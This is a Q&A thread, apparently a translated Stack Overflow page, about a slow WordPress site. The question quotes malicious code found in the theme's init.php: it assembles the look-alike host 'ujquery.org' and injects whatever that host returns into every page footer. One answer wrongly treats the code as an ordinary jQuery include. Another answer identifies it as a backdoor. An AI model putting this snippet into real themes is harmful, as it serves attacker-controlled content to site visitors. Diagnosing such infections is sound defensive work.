由于init.php中的一行,我的Wordpress网站很慢

时间:2015-03-03 05:25:29

标签: php jquery wordpress

我的网站是darbardesigns.com,最近在我的网站变得如此缓慢之前的3到4天,页面加载时间大约需要1-2分钟。

我在页面底部出现错误,如下所示: -

  

警告: get_headers(http://ujquery.org/jquery-1.6.3.min.js):失败   打开流:连接超时   第97行/public_html/wp-content/themes/porto/includes/init.php

我去了特定的行,代码如下:

add_filter( 'builder_include_modules',
'spyropress_register_builder_modules' );
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
    $host = 'http://';
    $jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
    $headers = get_headers($jquery, 0);
    if ($headers[0] == 'HTTP/1.1 200 OK'){
        echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
    }
}
add_action('wp_footer', 'wp_func_jquery');

}

  • 从发生此错误开始,我的网站变得非常缓慢。

  • 如果我尝试删除它,页面内容显示不正确。有些
    我认为是一些黑客的工作。

    提前致谢。

3 个答案:

答案 0 :(得分:1)

似乎它只包含页脚中的jquery,用这段代码重新加载:

function wp_func_jquery() {
    // Get jQuery from Google CDN
    echo "https://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";
}
add_action('wp_footer', 'wp_func_jquery');

或下载服务器中的jquery并从中添加,如:

echo get_template_directory_uri() . "/JQUERY_PATH_IN_CURRENT_THEME/jquery.min.js";

或者您可以通过wp_enqueue_script

添加jquery

答案 1 :(得分:1)

仅供参考:这是恶意软件,根本不应该在您的代码中。您可能受到后门黑客攻击或下载某种被黑客入侵的主题或插件。我建议您从您的网站中删除代码。 Domain" ujquery.org"与实际的jQuery无关。

答案 2 :(得分:0)

看起来您应该删除此代码,然后只需手动在html上添加jquery,而不是检查页面是否加载。